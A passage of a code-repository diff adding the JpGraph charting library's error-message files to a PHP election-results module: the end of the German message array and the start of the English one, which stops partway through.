+25057 => array('SetTextTicks() sollte nicht mehr verwendet werden. Benutze stattdessen SetTextTickInterval().',0),
+25058 => array('TextLabelIntevall >= 1 muss angegeben werden.',0),
+25059 => array('SetLabelPos() sollte nicht mehr verwendet werden. Benutze stattdessen Axis::SetLabelSide().',0),
+
+25060 => array('Unbekannte Ausrichtung angegeben für X-Achsentitel (%s).',1),
+25061 => array('Unbekannte Ausrichtung angegeben für Y-Achsentitel (%s).',1),
+25062 => array('Label unter einem Winkel werden für die Y-Achse nicht unterstützt.',0),
+25063 => array('Ticks::SetPrecision() sollte nicht mehr verwendet werden. Benutze stattdessen Ticks::SetLabelFormat() (oder Ticks::SetFormatCallback()).',0),
+25064 => array('Kleinere oder größere Schrittgröße ist 0. Überprüfe, ob Du fälschlicherweise SetTextTicks(0) in Deinem Skript hast. Wenn dies nicht der Fall ist, bist Du eventuell über einen Bug in JpGraph gestolpert. Bitte sende einen Report und füge den Code an, der den Fehler verursacht hat.',0),
+25065 => array('Tick-Positionen müssen als array() angegeben werden',0),
+25066 => array('Wenn die Tick-Positionen und -Label von Hand eingegeben werden, muss die Anzahl der Ticks und der Label gleich sein.',0),
+25067 => array('Deine von Hand eingegebene Achse und Ticks sind nicht korrekt. Die Skala scheint zu klein zu sein für den Tickabstand.',0),
+25068 => array('Ein Plot hat eine ungültige Achse. Dies kann beispielsweise der Fall sein, wenn Du automatisches Text-Skalieren verwendest, um ein Liniendiagramm zu zeichnen mit nur einem Datenpunkt, oder wenn die Bildfläche zu klein ist. Es kann auch der Fall sein, dass kein Datenpunkt einen numerischen Wert hat (vielleicht nur \'-\' oder \'x\').',0),
+25069 => array('Grace muss größer sein als 0',0),
+
+25070 => array('Deine Daten enthalten nicht-numerische Werte.',0),
+25071 => array('Du hast mit SetAutoMin() einen Mindestwert angegeben, der größer ist als der Maximalwert für die Achse. Dies ist nicht möglich.',0),
+25072 => array('Du hast mit SetAutoMax() einen Maximalwert angegeben, der kleiner ist als der Minimalwert der Achse. Dies ist nicht möglich.',0),
+25073 => array('Interner Fehler. Der Integer-Skalierungs-Algorithmus-Vergleich ist außerhalb der Grenzen  (r=%f).',1),
+25074 => array('Interner Fehler. Der Skalierungsbereich ist negativ (%f) [für %s Achse]. Dieses Problem könnte verursacht werden durch den Versuch, \'ungültige\' Werte in die Daten-Vektoren einzugeben (z.B. nur String- oder NULL-Werte), was beim automatischen Skalieren einen Fehler erzeugt.',2),
+25075 => array('Die automatischen Ticks können nicht gesetzt werden, weil min==max.',0),
+25077 => array('Einstellfaktor für die Farbe muss größer sein als 0',0),
+25078 => array('Unbekannte Farbe: %s',1),
+25079 => array('Unbekannte Farbdefinition: %s, Größe=%d',2),
+
+25080 => array('Der Alpha-Parameter für Farben muss zwischen 0.0 und 1.0 liegen.',0),
+25081 => array('Das ausgewählte Grafikformat wird entweder nicht unterstützt oder ist unbekannt [%s]',1),
+25082 => array('Es wurden ungültige Größen für Breite und Höhe beim Erstellen des Bildes definiert (Breite=%d, Höhe=%d).',2),
+25083 => array('Es wurde eine ungültige Größe beim Kopieren des Bildes angegeben. Die Größe für das kopierte Bild wurde auf 1 Pixel oder weniger gesetzt.',0),
+25084 => array('Fehler beim Erstellen eines temporären GD-Canvas. Möglicherweise liegt ein Arbeitsspeicherproblem vor.',0),
+25085 => array('Ein Bild kann nicht aus dem angegebenen String erzeugt werden. Er ist entweder in einem nicht unterstützen Format oder er represäntiert ein kaputtes Bild.',0),
+25086 => array('Du scheinst nur GD 1.x installiert zu haben. Um Alphablending zu aktivieren, ist GD 2.x oder höher notwendig. Bitte installiere GD 2.x oder versichere Dich, dass die Konstante USE_GD2 richtig gesetzt ist. Standardmäßig wird die installierte GD-Version automatisch erkannt. Ganz selten wird GD2 erkannt, obwohl nur GD1 installiert ist. Die Konstante USE_GD2 muss dann zu "false" gesetzt werden.',0),
+25087 => array('Diese PHP-Version wurde ohne TTF-Unterstützung konfiguriert. PHP muss mit TTF-Unterstützung neu kompiliert und installiert werden.',0),
+25088 => array('Die GD-Schriftunterstützung wurde falsch konfiguriert. Der Aufruf von imagefontwidth() ist fehlerhaft.',0),
+25089 => array('Die GD-Schriftunterstützung wurde falsch konfiguriert. Der Aufruf von imagefontheight() ist fehlerhaft.',0),
+
+25090 => array('Unbekannte Richtung angegeben im Aufruf von StrokeBoxedText() [%s].',1),
+25091 => array('Die interne Schrift untestützt das Schreiben von Text in einem beliebigen Winkel nicht. Benutze stattdessen TTF-Schriften.',0),
+25092 => array('Es liegt entweder ein Konfigurationsproblem mit TrueType oder ein Problem beim Lesen der Schriftdatei "%s" vor. Versichere Dich, dass die Datei existiert und Leserechte und -pfad vergeben sind. (wenn \'basedir\' restriction in PHP aktiviert ist, muss die Schriftdatei im Dokumentwurzelverzeichnis abgelegt werden). Möglicherweise ist die FreeType-Bibliothek falsch installiert. Versuche, mindestens zur FreeType-Version 2.1.13 zu aktualisieren und kompiliere GD mit einem korrekten Setup neu, damit die FreeType-Bibliothek gefunden werden kann.',1),
+25093 => array('Die Schriftdatei "%s" kann nicht gelesen werden beim Aufruf von Image::GetBBoxTTF. Bitte versichere Dich, dass die Schrift gesetzt wurde, bevor diese Methode aufgerufen wird, und dass die Schrift im TTF-Verzeichnis installiert ist.',1),
+25094 => array('Die Textrichtung muss in einem Winkel zwischen 0 und 90 engegeben werden.',0),
+25095 => array('Unbekannte Schriftfamilien-Definition. ',0),
+25096 => array('Der Farbpalette können keine weiteren Farben zugewiesen werden. Dem Bild wurde bereits die größtmögliche Anzahl von Farben (%d) zugewiesen und die Palette ist voll. Verwende stattdessen ein TrueColor-Bild',0),
+25097 => array('Eine Farbe wurde als leerer String im Aufruf von PushColor() angegegeben.',0),
+25098 => array('Negativer Farbindex. Unpassender Aufruf von PopColor().',0),
+25099 => array('Die Parameter für Helligkeit und Kontrast sind außerhalb des zulässigen Bereichs [-1,1]',0),
+
+25100 => array('Es liegt ein Problem mit der Farbpalette und dem GD-Setup vor. Bitte deaktiviere anti-aliasing oder verwende GD2 mit TrueColor. Wenn die GD2-Bibliothek installiert ist, versichere Dich, dass die Konstante USE_GD2 auf "true" gesetzt und TrueColor aktiviert ist.',0),
+25101 => array('Ungültiges numerisches Argument für SetLineStyle(): (%d)',1),
+25102 => array('Ungültiges String-Argument für SetLineStyle(): %s',1),
+25103 => array('Ungültiges Argument für SetLineStyle %s',1),
+25104 => array('Unbekannter Linientyp: %s',1),
+25105 => array('Es wurden NULL-Daten für ein gefülltes Polygon angegeben. Sorge dafür, dass keine NULL-Daten angegeben werden.',0),
+25106 => array('Image::FillToBorder : es können keine weiteren Farben zugewiesen werden.',0),
+25107 => array('In Datei "%s" kann nicht geschrieben werden. Überprüfe die aktuellen Schreibrechte.',1),
+25108 => array('Das Bild kann nicht gestreamt werden. Möglicherweise liegt ein Fehler im PHP/GD-Setup vor. Kompiliere PHP neu und verwende die eingebaute GD-Bibliothek, die mit PHP angeboten wird.',0),
+25109 => array('Deine PHP- (und GD-lib-) Installation scheint keine bekannten Grafikformate zu unterstützen. Sorge zunächst dafür, dass GD als PHP-Modul kompiliert ist. Wenn Du außerdem JPEG-Bilder verwenden willst, musst Du die JPEG-Bibliothek installieren. Weitere Details sind in der PHP-Dokumentation zu finden.',0),
+
+25110 => array('Dein PHP-Installation unterstützt das gewählte Grafikformat nicht: %s',1),
+25111 => array('Das gecachete Bild %s kann nicht gelöscht werden. Problem mit den Rechten?',1),
+25112 => array('Das Datum der gecacheten Datei (%s) liegt in der Zukunft.',1),
+25113 => array('Das gecachete Bild %s kann nicht gelöscht werden. Problem mit den Rechten?',1),
+25114 => array('PHP hat nicht die erforderlichen Rechte, um in die Cache-Datei %s zu schreiben. Bitte versichere Dich, dass der Benutzer, der PHP anwendet, die entsprechenden Schreibrechte für die Datei hat, wenn Du das Cache-System in JPGraph verwenden willst.',1),
+25115 => array('Berechtigung für gecachetes Bild %s kann nicht gesetzt werden. Problem mit den Rechten?',1),
+25116 => array('Datei kann nicht aus dem Cache %s geöffnet werden',1),
+25117 => array('Gecachetes Bild %s kann nicht zum Lesen geöffnet werden.',1),
+25118 => array('Verzeichnis %s kann nicht angelegt werden. Versichere Dich, dass PHP die Schreibrechte in diesem Verzeichnis hat.',1),
+25119 => array('Rechte für Datei %s können nicht gesetzt werden. Problem mit den Rechten?',1),
+
+25120 => array('Die Position für die Legende muss als Prozentwert im Bereich 0-1 angegeben werden.',0),
+25121 => array('Eine leerer Datenvektor wurde für den Plot eingegeben. Es muss wenigstens ein Datenpunkt vorliegen.',0),
+25122 => array('Stroke() muss als Subklasse der Klasse Plot definiert sein.',0),
+25123 => array('Du kannst keine Text-X-Achse mit X-Koordinaten verwenden. Benutze stattdessen eine "int" oder "lin" Achse.',0),
+25124 => array('Der Eingabedatenvektor mus aufeinanderfolgende Werte von 0 aufwärts beinhalten. Der angegebene Y-Vektor beginnt mit leeren Werten (NULL).',0),
+25125 => array('Ungültige Richtung für statische Linie.',0),
+25126 => array('Es kann kein TrueColor-Bild erzeugt werden. Überprüfe, ob die GD2-Bibliothek und PHP korrekt aufgesetzt wurden.',0),
+25127 => array('The library has been configured for automatic encoding conversion of Japanese fonts. This requires that PHP has the mb_convert_encoding() function. Your PHP installation lacks this function (PHP needs the "--enable-mbstring" when compiled).',0),
+25128 => array('The function imageantialias() is not available in your PHP installation. Use the GD version that comes with PHP and not the standalone version.',0),
+25129 => array('Anti-alias can not be used with dashed lines. Please disable anti-alias or use solid lines.',0),
+/*
+**---------------------------------------------------------------------------------------------
+** Pro-version strings
+**---------------------------------------------------------------------------------------------
+*/
+
+/*
+**  jpgraph_table
+*/
+
+27001 => array('GTextTable: Ungültiges Argument für Set(). Das Array-Argument muss 2-- dimensional sein.',0),
+27002 => array('GTextTable: Ungültiges Argument für Set()',0),
+27003 => array('GTextTable: Falsche Anzahl von Argumenten für GTextTable::SetColor()',0),
+27004 => array('GTextTable: Angegebener Zellenbereich, der verschmolzen werden soll, ist ungültig.',0),
+27005 => array('GTextTable: Bereits verschmolzene Zellen im Bereich (%d,%d) bis (%d,%d) können nicht ein weiteres Mal verschmolzen werden.',4),
+27006 => array('GTextTable: Spalten-Argument = %d liegt außerhalb der festgelegten Tabellengröße.',1),
+27007 => array('GTextTable: Zeilen-Argument = %d liegt außerhalb der festgelegten Tabellengröße.',1),
+27008 => array('GTextTable: Spalten- und Zeilengröße müssen zu den Dimensionen der Tabelle passen.',0),
+27009 => array('GTextTable: Die Anzahl der Tabellenspalten oder -zeilen ist 0. Versichere Dich, dass die Methoden Init() oder Set() aufgerufen werden.',0),
+27010 => array('GTextTable: Es wurde keine Ausrichtung beim Aufruf von SetAlign() angegeben.',0),
+27011 => array('GTextTable: Es wurde eine unbekannte Ausrichtung beim Aufruf von SetAlign() abgegeben. Horizontal=%s, Vertikal=%s',2),
+27012 => array('GTextTable: Interner Fehler. Es wurde ein ungültiges Argument festgeleget %s',1),
+27013 => array('GTextTable: Das Argument für FormatNumber() muss ein String sein.',0),
+27014 => array('GTextTable: Die Tabelle wurde weder mit einem Aufruf von Set() noch von Init() initialisiert.',0),
+27015 => array('GTextTable: Der Zellenbildbedingungstyp muss entweder TIMG_WIDTH oder TIMG_HEIGHT sein.',0),
+
+/*
+**  jpgraph_windrose
+*/
+
+22001 => array('Die Gesamtsumme der prozentualen Anteile aller Windrosenarme darf 100%% nicht überschreiten!\n(Aktuell max: %d)',1),
+22002 => array('Das Bild ist zu klein für eine Skala. Bitte vergrößere das Bild.',0),
+22004 => array('Die Etikettendefinition für Windrosenrichtungen müssen 16 Werte haben (eine für jede Kompassrichtung).',0),
+22005 => array('Der Linientyp für radiale Linien muss einer von ("solid","dotted","dashed","longdashed") sein.',0),
+22006 => array('Es wurde ein ungültiger Windrosentyp angegeben.',0),
+22007 => array('Es wurden zu wenig Werte für die Bereichslegende angegeben.',0),
+22008 => array('Interner Fehler: Versuch, eine freie Windrose zu plotten, obwohl der Typ keine freie Windrose ist.',0),
+22009 => array('Du hast die gleiche Richtung zweimal angegeben, einmal mit einem Winkel und einmal mit einer Kompassrichtung (%f Grad).',0),
+22010 => array('Die Richtung muss entweder ein numerischer Wert sein oder eine der 16 Kompassrichtungen',0),
+22011 => array('Der Windrosenindex muss ein numerischer oder Richtungswert sein. Du hast angegeben Index=%d',1),
+22012 => array('Die radiale Achsendefinition für die Windrose enthält eine nicht aktivierte Richtung.',0),
+22013 => array('Du hast dasselbe Look&Feel für die gleiche Kompassrichtung zweimal engegeben, einmal mit Text und einmal mit einem Index (Index=%d)',1),
+22014 => array('Der Index für eine Kompassrichtung muss zwischen 0 und 15 sein.',0),
+22015 => array('Du hast einen unbekannten Windrosenplottyp angegeben.',0),
+22016 => array('Der Windrosenarmindex muss ein numerischer oder ein Richtungswert sein.',0),
+22017 => array('Die Windrosendaten enthalten eine Richtung, die nicht aktiviert ist. Bitte berichtige, welche Label angezeigt werden sollen.',0),
+22018 => array('Du hast für dieselbe Kompassrichtung zweimal Daten angegeben, einmal mit Text und einmal mit einem Index (Index=%d)',1),
+22019 => array('Der Index für eine Richtung muss zwischen 0 und 15 sein. Winkel dürfen nicht für einen regelmäßigen Windplot angegeben werden, sondern entweder ein Index oder eine Kompassrichtung.',0),
+22020 => array('Der Windrosenplot ist zu groß für die angegebene Bildgröße. Benutze entweder WindrosePlot::SetSize(), um den Plot kleiner zu machen oder vergrößere das Bild im ursprünglichen Aufruf von WindroseGraph().',0),
+22021 => array('It is only possible to add Text, IconPlot or WindrosePlot to a Windrose Graph',0),
+
+/*
+**  jpgraph_odometer
+*/
+
+13001 => array('Unbekannter Nadeltypstil (%d).',1),
+13002 => array('Ein Wert für das Odometer (%f) ist außerhalb des angegebenen Bereichs [%f,%f]',3),
+
+/*
+**  jpgraph_barcode
+*/
+
+1001 => array('Unbekannte Kodier-Specifikation: %s',1),
+1002 => array('datenvalidierung schlug fehl. [%s] kann nicht mittels der Kodierung "%s" kodiert werden',2),
+1003 => array('Interner Kodierfehler. Kodieren von %s ist nicht möglich in Code 128',1),
+1004 => array('Interner barcode Fehler. Unbekannter UPC-E Kodiertyp: %s',1),
+1005 => array('Interner Fehler. Das Textzeichen-Tupel (%s, %s) kann nicht im Code-128 Zeichensatz C kodiert werden.',2),
+1006 => array('Interner Kodierfehler für CODE 128. Es wurde versucht, CTRL in CHARSET != A zu kodieren.',0),
+1007 => array('Interner Kodierfehler für CODE 128. Es wurde versucht, DEL in CHARSET != B zu kodieren.',0),
+1008 => array('Interner Kodierfehler für CODE 128. Es wurde versucht, kleine Buchstaben in CHARSET != B zu kodieren.',0),
+1009 => array('Kodieren mittels CODE 93 wird noch nicht unterstützt.',0),
+1010 => array('Kodieren mittels POSTNET wird noch nicht unterstützt.',0),
+1011 => array('Nicht untrstütztes Barcode-Backend für den Typ %s',1),
+
+/*
+** PDF417
+*/
+
+26001 => array('PDF417: Die Anzahl der Spalten muss zwischen 1 und 30 sein.',0),
+26002 => array('PDF417: Der Fehler-Level muss zwischen 0 und 8 sein.',0),
+26003 => array('PDF417: Ungültiges Format für Eingabedaten, um sie mit PDF417 zu kodieren.',0),
+26004 => array('PDF417: die eigebenen Daten können nicht mit Fehler-Level %d und %d spalten kodiert werden, weil daraus zu viele Symbole oder mehr als 90 Zeilen resultieren.',2),
+26005 => array('PDF417: Die Datei "%s" kann nicht zum Schreiben geöffnet werden.',1),
+26006 => array('PDF417: Interner Fehler. Die Eingabedatendatei für PDF417-Cluster %d ist fehlerhaft.',1),
+26007 => array('PDF417: Interner Fehler. GetPattern: Ungültiger Code-Wert %d (Zeile %d)',2),
+26008 => array('PDF417: Interner Fehler. Modus wurde nicht in der Modusliste!! Modus %d',1),
+26009 => array('PDF417: Kodierfehler: Ungültiges Zeichen. Zeichen kann nicht mit ASCII-Code %d kodiert werden.',1),
+26010 => array('PDF417: Interner Fehler: Keine Eingabedaten beim Dekodieren.',0),
+26011 => array('PDF417: Kodierfehler. Numerisches Kodieren bei nicht-numerischen Daten nicht möglich.',0),
+26012 => array('PDF417: Interner Fehler. Es wurden für den Binary-Kompressor keine Daten zum Dekodieren eingegeben.',0),
+26013 => array('PDF417: Interner Fehler. Checksum Fehler. Koeffiziententabellen sind fehlerhaft.',0),
+26014 => array('PDF417: Interner Fehler. Es wurden keine Daten zum Berechnen von Kodewörtern eingegeben.',0),
+26015 => array('PDF417: Interner Fehler. Ein Eintrag 0 in die Statusübertragungstabellen ist nicht NULL. Eintrag 1 = (%s)',1),
+26016 => array('PDF417: Interner Fehler: Nichtregistrierter Statusübertragungsmodus beim Dekodieren.',0),
+
+
+);
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/en.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/en.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/en.inc.php	(revision 44)
@@ -0,0 +1,501 @@
+<?php
+/*=======================================================================
+// File: 	EN.INC.PHP
+// Description: English language file for error messages
+// Created: 	2006-01-25
+// Ver:		$Id: en.inc.php 1017 2008-07-08 06:09:28Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+// Note: Format of each error message is array(<error message>,<number of arguments>)
+$_jpg_messages = array(
+
+/*
+** Headers already sent error. This is formatted as HTML different since this will be sent back directly as text
+*/
+10  => array('<table border="1"><tr><td style="color:darkred; font-size:1.2em;"><b>JpGraph Error:</b> 
+HTTP headers have already been sent.<br>Caused by output from file <b>%s</b> at line <b>%d</b>.</td></tr><tr><td><b>Explanation:</b><br>HTTP headers have already been sent back to the browser indicating the data as text before the library got a chance to send it\'s image HTTP header to this browser. This makes it impossible for the library to send back image data to the browser (since that would be interpretated as text by the browser and show up as junk text).<p>Most likely you have some text in your script before the call to <i>Graph::Stroke()</i>. If this texts gets sent back to the browser the browser will assume that all data is plain text. Look for any text, even spaces and newlines, that might have been sent back to the browser. <p>For example it is a common mistake to leave a blank line before the opening "<b>&lt;?php</b>".</td></tr></table>',2),
+
+/*
+** Setup errors
+*/
+11 => array('No path specified for CACHE_DIR. Please specify CACHE_DIR manually in jpg-config.inc',0),
+12 => array('No path specified for TTF_DIR and path can not be determined automatically. Please specify TTF_DIR manually (in jpg-config.inc).',0),
+13 => array('The installed PHP version (%s) is not compatible with this release of the library. The library requires at least PHP version %s',2),
+
+
+/*
+**  jpgraph_bar
+*/
+
+2001 => array('Number of colors is not the same as the number of patterns in BarPlot::SetPattern()',0),
+2002 => array('Unknown pattern specified in call to BarPlot::SetPattern()',0),
+2003 => array('Number of X and Y points are not equal. Number of X-points: %d Number of Y-points: %d',2),
+2004 => array('All values for a barplot must be numeric. You have specified value nr [%d] == %s',2),
+2005 => array('You have specified an empty array for shadow colors in the bar plot.',0),
+2006 => array('Unknown position for values on bars : %s',1),
+2007 => array('Cannot create GroupBarPlot from empty plot array.',0),
+2008 => array('Group bar plot element nbr %d is undefined or empty.',0),
+2009 => array('One of the objects submitted to GroupBar is not a BarPlot. Make sure that you create the GroupBar plot from an array of BarPlot or AccBarPlot objects. (Class = %s)',1),
+2010 => array('Cannot create AccBarPlot from empty plot array.',0),
+2011 => array('Acc bar plot element nbr %d is undefined or empty.',1),
+2012 => array('One of the objects submitted to AccBar is not a BarPlot. Make sure that you create the AccBar plot from an array of BarPlot objects. (Class=%s)',1),
+2013 => array('You have specified an empty array for shadow colors in the bar plot.',0),
+2014 => array('Number of datapoints for each data set in accbarplot must be the same',0),
+2015 => array('Individual bar plots in an AccBarPlot or GroupBarPlot can not have specified X-coordinates',0),
+
+
+/*
+**  jpgraph_date
+*/
+
+3001 => array('It is only possible to use either SetDateAlign() or SetTimeAlign() but not both',0),
+
+/*
+**  jpgraph_error
+*/
+
+4002 => array('Error in input data to LineErrorPlot. Number of data points must be a multiple of 3',0),
+
+/*
+**  jpgraph_flags
+*/
+
+5001 => array('Unknown flag size (%d).',1),
+5002 => array('Flag index %s does not exist.',1),
+5003 => array('Invalid ordinal number (%d) specified for flag index.',1),
+5004 => array('The (partial) country name %s does not have a corresponding flag image. The flag may still exist but under another name, e.g. instead of "usa" try "united states".',1),
+
+
+/*
+**  jpgraph_gantt
+*/
+
+6001 => array('Internal error. Height for ActivityTitles is < 0',0),
+6002 => array('You can\'t specify negative sizes for Gantt graph dimensions. Use 0 to indicate that you want the library to automatically determine a dimension.',0),
+6003 => array('Invalid format for Constrain parameter at index=%d in CreateSimple(). Parameter must start with index 0 and contain arrays of (Row,Constrain-To,Constrain-Type)',1), 
+6004 => array('Invalid format for Progress parameter at index=%d in CreateSimple(). Parameter must start with index 0 and contain arrays of (Row,Progress)',1), 
+6005 => array('SetScale() is not meaningful with Gantt charts.',0),
+6006 => array('Cannot autoscale Gantt chart. No dated activities exist. [GetBarMinMax() start >= n]',0),
+6007 => array('Sanity check for automatic Gantt chart size failed. Either the width (=%d) or height (=%d) is larger than MAX_GANTTIMG_SIZE. This could potentially be caused by a wrong date in one of the activities.',2),
+6008 => array('You have specified a constrain from row=%d to row=%d which does not have any activity',2),
+6009 => array('Unknown constrain type specified from row=%d to row=%d',2),
+6010 => array('Illegal icon index for Gantt builtin icon [%d]',1),
+6011 => array('Argument to IconImage must be string or integer',0),
+6012 => array('Unknown type in Gantt object title specification',0),
+6015 => array('Illegal vertical position %d',1),
+6016 => array('Date string (%s) specified for Gantt activity can not be interpretated. Please make sure it is a valid time string, e.g. 2005-04-23 13:30',1),
+6017 => array('Unknown date format in GanttScale (%s).',1),
+6018 => array('Interval for minutes must divide the hour evenly, e.g. 1,5,10,12,15,20,30 etc You have specified an interval of %d minutes.',1),
+6019 => array('The available width (%d) for minutes are to small for this scale to be displayed. Please use auto-sizing or increase the width of the graph.',1),
+6020 => array('Interval for hours must divide the day evenly, e.g. 0:30, 1:00, 1:30, 4:00 etc. You have specified an interval of %d',1),
+6021 => array('Unknown formatting style for week.',0),
+6022 => array('Gantt scale has not been specified.',0),
+6023 => array('If you display both hour and minutes the hour interval must be 1 (Otherwise it doesn\'t make sense to display minutes).',0),
+6024 => array('CSIM Target must be specified as a string. Start of target is: %d',1),
+6025 => array('CSIM Alt text must be specified as a string. Start of alt text is: %d',1),
+6027 => array('Progress value must in range [0, 1]',0),
+6028 => array('Specified height (%d) for gantt bar is out of range.',1),
+6029 => array('Offset for vertical line must be in range [0,1]',0),
+6030 => array('Unknown arrow direction for link.',0),
+6031 => array('Unknown arrow type for link.',0),
+6032 => array('Internal error: Unknown path type (=%d) specified for link.',1),
+
+/*
+**  jpgraph_gradient
+*/
+
+7001 => array('Unknown gradient style (=%d).',1),
+
+/*
+**  jpgraph_iconplot
+*/
+
+8001 => array('Mix value for icon must be between 0 and 100.',0),
+8002 => array('Anchor position for icons must be one of "top", "bottom", "left", "right" or "center"',0),
+8003 => array('It is not possible to specify both an image file and a country flag for the same icon.',0),
+8004 => array('In order to use Country flags as icons you must include the "jpgraph_flags.php" file.',0),
+
+/*
+**  jpgraph_imgtrans
+*/
+
+9001 => array('Value for image transformation out of bounds. Vanishing point on horizon must be specified as a value between 0 and 1.',0),
+
+/*
+**  jpgraph_lineplot
+*/
+
+10001 => array('LinePlot::SetFilled() is deprecated. Use SetFillColor()',0),
+10002 => array('Plot too complicated for fast line Stroke. Use standard Stroke()',0),
+10003 => array('Each plot in an accumulated lineplot must have the same number of data points.',0),
+
+/*
+**  jpgraph_log
+*/
+
+11001 => array('Your data contains non-numeric values.',0),
+11002 => array('Negative data values can not be used in a log scale.',0),
+11003 => array('Your data contains non-numeric values.',0),
+11004 => array('Scale error for logarithmic scale. You have a problem with your data values. The max value must be greater than 0. It is mathematically impossible to have 0 in a logarithmic scale.',0),
+11005 => array('Specifying tick interval for a logarithmic scale is undefined. Remove any calls to SetTextLabelStart() or SetTextTickInterval() on the logarithmic scale.',0),
+
+/*
+**  jpgraph_mgraph
+*/
+
+12001 => array("You are using GD 2.x and are trying to use a background images on a non truecolor image. To use background images with GD 2.x it is necessary to enable truecolor by setting the USE_TRUECOLOR constant to TRUE. Due to a bug in GD 2.0.1 using any truetype fonts with truecolor images will result in very poor quality fonts.",0),
+12002 => array('Incorrect file name for MGraph::SetBackgroundImage() : %s Must have a valid image extension (jpg,gif,png) when using auto detection of image type',1),
+12003 => array('Unknown file extension (%s) in MGraph::SetBackgroundImage() for filename: %s',2),
+12004 => array('The image format of your background image (%s) is not supported in your system configuration. ',1),
+12005 => array('Can\'t read background image: %s',1),
+12006 => array('Illegal sizes specified for width or height when creating an image, (width=%d, height=%d)',2),
+12007 => array('Argument to MGraph::Add() is not a valid GD image handle.',0),
+12008 => array('Your PHP (and GD-lib) installation does not appear to support any known graphic formats.',0),
+12009 => array('Your PHP installation does not support the chosen graphic format: %s',1),
+12010 => array('Can\'t create or stream image to file %s Check that PHP has enough permission to write a file to the current directory.',1),
+12011 => array('Can\'t create truecolor image. Check that you really have GD2 library installed.',0),
+12012 => array('Can\'t create image. Check that you really have GD2 library installed.',0),
+
+/*
+**  jpgraph_pie3d
+*/
+
+14001 => array('Pie3D::ShowBorder() . Deprecated function. Use Pie3D::SetEdge() to control the edges around slices.',0),
+14002 => array('PiePlot3D::SetAngle() 3D Pie projection angle must be between 5 and 85 degrees.',0),
+14003 => array('Internal assertion failed. Pie3D::Pie3DSlice',0),
+14004 => array('Slice start angle must be between 0 and 360 degrees.',0),
+14005 => array('Pie3D Internal error: Trying to wrap twice when looking for start index',0,),
+14006 => array('Pie3D Internal Error: Z-Sorting algorithm for 3D Pies is not working properly (2). Trying to wrap twice while stroking.',0),
+14007 => array('Width for 3D Pie is 0. Specify a size > 0',0),
+
+/*
+**  jpgraph_pie
+*/
+
+15001 => array('PiePLot::SetTheme() Unknown theme: %s',1),
+15002 => array('Argument to PiePlot::ExplodeSlice() must be an integer',0),
+15003 => array('Argument to PiePlot::Explode() must be an array with integer distances.',0),
+15004 => array('Slice start angle must be between 0 and 360 degrees.',0),
+15005 => array('PiePlot::SetFont() is deprecated. Use PiePlot->value->SetFont() instead.',0),
+15006 => array('PiePlot::SetSize() Radius for pie must either be specified as a fraction [0, 0.5] of the size of the image or as an absolute size in pixels  in the range [10, 1000]',0),
+15007 => array('PiePlot::SetFontColor() is deprecated. Use PiePlot->value->SetColor() instead.',0),
+15008 => array('PiePlot::SetLabelType() Type for pie plots must be 0 or 1 (not %d).',1),
+15009 => array('Illegal pie plot. Sum of all data is zero for Pie Plot',0),
+15010 => array('Sum of all data is 0 for Pie.',0),
+15011 => array('In order to use image transformation you must include the file jpgraph_imgtrans.php in your script.',0),
+
+/*
+**  jpgraph_plotband
+*/
+
+16001 => array('Density for pattern must be between 1 and 100. (You tried %f)',1),
+16002 => array('No positions specified for pattern.',0),
+16003 => array('Unknown pattern specification (%d)',0),
+16004 => array('Min value for plotband is larger than specified max value. Please correct.',0),
+
+
+/*
+**  jpgraph_polar
+*/
+
+17001 => array('Polar plots must have an even number of data point. Each data point is a tuple (angle,radius).',0),
+17002 => array('Unknown alignment specified for X-axis title. (%s)',1),
+//17003 => array('Set90AndMargin() is not supported for polar graphs.',0),
+17004 => array('Unknown scale type for polar graph. Must be "lin" or "log"',0),
+
+/*
+**  jpgraph_radar
+*/
+
+18001 => array('Client side image maps not supported for RadarPlots.',0),
+18002 => array('RadarGraph::SupressTickMarks() is deprecated. Use HideTickMarks() instead.',0),
+18003 => array('Illegal scale for radarplot (%s). Must be \'lin\' or \'log\'',1),
+18004 => array('Radar Plot size must be between 0.1 and 1. (Your value=%f)',1),
+18005 => array('RadarPlot Unsupported Tick density: %d',1),
+18006 => array('Minimum data %f (Radar plots should only be used when all data points > 0)',1),
+18007 => array('Number of titles does not match number of points in plot.',0),
+18008 => array('Each radar plot must have the same number of data points.',0),
+
+/*
+**  jpgraph_regstat
+*/
+
+19001 => array('Spline: Number of X and Y coordinates must be the same',0),
+19002 => array('Invalid input data for spline. Two or more consecutive input X-values are equal. Each input X-value must differ since from a mathematical point of view it must be a one-to-one mapping, i.e. each X-value must correspond to exactly one Y-value.',0),
+19003 => array('Bezier: Number of X and Y coordinates must be the same',0),
+
+/*
+**  jpgraph_scatter
+*/
+
+20001 => array('Fieldplots must have equal number of X and Y points.',0),
+20002 => array('Fieldplots must have an angle specified for each X and Y points.',0),
+20003 => array('Scatterplot must have equal number of X and Y points.',0),
+
+/*
+**  jpgraph_stock
+*/
+
+21001 => array('Data values for Stock charts must contain an even multiple of %d data points.',1),
+
+/*
+**  jpgraph_plotmark
+*/
+
+23001 => array('This marker "%s" does not exist in color with index: %d',2),
+23002 => array('Mark color index too large for marker "%s"',1),
+23003 => array('A filename must be specified if you set the mark type to MARK_IMG.',0),
+
+/*
+**  jpgraph_utils
+*/
+
+24001 => array('FuncGenerator : No function specified. ',0),
+24002 => array('FuncGenerator : Syntax error in function specification ',0),
+24003 => array('DateScaleUtils: Unknown tick type specified in call to GetTicks()',0),
+/*
+**  jpgraph
+*/
+
+25001 => array('This PHP installation is not configured with the GD library. Please recompile PHP with GD support to run JpGraph. (Neither function imagetypes() nor imagecreatefromstring() does exist)',0),
+25002 => array('Your PHP installation does not seem to have the required GD library. Please see the PHP documentation on how to install and enable the GD library.',0),
+25003 => array('General PHP error : At %s:%d : %s',3),
+25004 => array('General PHP error : %s ',1),
+25005 => array('Can\'t access PHP_SELF, PHP global variable. You can\'t run PHP from command line if you want to use the \'auto\' naming of cache or image files.',0),
+25006 => array('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).',0),
+25007 => array('You are trying to use the locale (%s) which your PHP installation does not support. Hint: Use \'\' to indicate the default locale for this geographic region.',1),
